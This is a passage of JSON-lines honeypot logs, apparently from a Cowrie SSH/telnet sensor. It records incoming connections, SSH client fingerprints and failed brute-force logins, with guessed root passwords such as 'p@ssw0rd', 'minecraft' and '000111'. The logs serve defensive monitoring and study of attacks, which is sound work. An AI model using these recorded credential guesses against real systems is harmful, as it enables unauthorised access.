h-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:21.110061Z","src_ip":"94.26.106.201","session":"0f8725029ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:21.288410Z","src_ip":"94.26.106.201","session":"0f8725029ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:22.379384Z","src_ip":"94.26.106.201","session":"0f8725029ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51166,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9bf8b10e6f5","protocol":"ssh","message":"New connection: 103.75.183.219:51166 (10.17.0.5:22) [session: f9bf8b10e6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:44.830770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:44.835623Z","src_ip":"103.75.183.219","session":"f9bf8b10e6f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:45.076096Z","src_ip":"103.75.183.219","session":"f9bf8b10e6f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:45.798812Z","src_ip":"103.75.183.219","session":"f9bf8b10e6f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:47.042454Z","src_ip":"103.75.183.219","session":"f9bf8b10e6f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d6aa35d87d7","protocol":"ssh","message":"New connection: 62.133.63.178:35356 (159.203.135.109:22) [session: 9d6aa35d87d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:48.956189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:48.960697Z","src_ip":"62.133.63.178","session":"9d6aa35d87d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:49.077832Z","src_ip":"62.133.63.178","session":"9d6aa35d87d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft","message":"login attempt [root/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:49.431898Z","src_ip":"62.133.63.178","session":"9d6aa35d87d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:50.552196Z","src_ip":"62.133.63.178","session":"9d6aa35d87d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"6123d123cecd","protocol":"ssh","message":"New connection: 2.57.122.238:45868 (10.17.0.5:22) [session: 6123d123cecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:33:26.954370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:33:26.959106Z","src_ip":"2.57.122.238","session":"6123d123cecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:33:27.061510Z","src_ip":"2.57.122.238","session":"6123d123cecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:33:27.360504Z","src_ip":"2.57.122.238","session":"6123d123cecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:33:28.462407Z","src_ip":"2.57.122.238","session":"6123d123cecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.85","src_port":1340,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1f1806b380","protocol":"ssh","message":"New connection: 66.132.195.85:1340 (159.203.135.109:22) [session: 8d1f1806b380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:14.154752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:14.951548Z","src_ip":"66.132.195.85","session":"8d1f1806b380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:14.955790Z","src_ip":"66.132.195.85","session":"8d1f1806b380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":49796,"dst_ip":"10.17.0.5","dst_port":22,"session":"016649814c08","protocol":"ssh","message":"New connection: 103.82.132.16:49796 (10.17.0.5:22) [session: 016649814c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:20.521781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:20.526503Z","src_ip":"103.82.132.16","session":"016649814c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:20.787781Z","src_ip":"103.82.132.16","session":"016649814c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000111","message":"login attempt [root/000111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:21.628780Z","src_ip":"103.82.132.16","session":"016649814c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:22.898437Z","src_ip":"103.82.132.16","session":"016649814c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.225.14","src_port":59415,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb160c4aa8ef","protocol":"telnet","message":"New connection: 101.109.225.14:59415 (10.17.0.5:23) [session: eb160c4aa8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:23.040522Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46440,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac8bc2adca1","protocol":"ssh","message":"New connection: 103.122.221.179:46440 (159.203.135.109:22) [session: 6ac8bc2adca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:29.581139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:29.586175Z","src_ip":"103.122.221.179","session":"6ac8bc2adca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:29.853439Z","src_ip":"103.122.221.179","session":"6ac8bc2adca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:29.993057Z","src_ip":"66.132.195.85","session":"8d1f1806b380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0833748v","message":"login attempt [root/0833748v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:30.655453Z","src_ip":"103.122.221.179","session":"6ac8bc2adca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:31.926058Z","src_ip":"103.122.221.179","session":"6ac8bc2adca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":50934,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bd4b551a8a8","protocol":"ssh","message":"New connection: 176.32.39.21:50934 (10.17.0.5:22) [session: 4bd4b551a8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:36.244565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:36.330122Z","src_ip":"176.32.39.21","session":"4bd4b551a8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:36.373670Z","src_ip":"176.32.39.21","session":"4bd4b551a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.35382890701294,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:36.394216Z","src_ip":"101.109.225.14","session":"eb160c4aa8ef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cherry","message":"login attempt [root/cherry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:36.846712Z","src_ip":"176.32.39.21","session":"4bd4b551a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:37.969232Z","src_ip":"176.32.39.21","session":"4bd4b551a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.221.189","src_port":38165,"dst_ip":"159.203.135.109","dst_port":22,"session":"e874ddfe5457","protocol":"ssh","message":"New connection: 173.255.221.189:38165 (159.203.135.109:22) [session: e874ddfe5457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:39.657792Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60348,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8b8811703c0","protocol":"ssh","message":"New connection: 109.237.96.109:60348 (159.203.135.109:22) [session: b8b8811703c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.202563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:34:40.206961Z","src_ip":"109.237.96.109","session":"b8b8811703c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","ae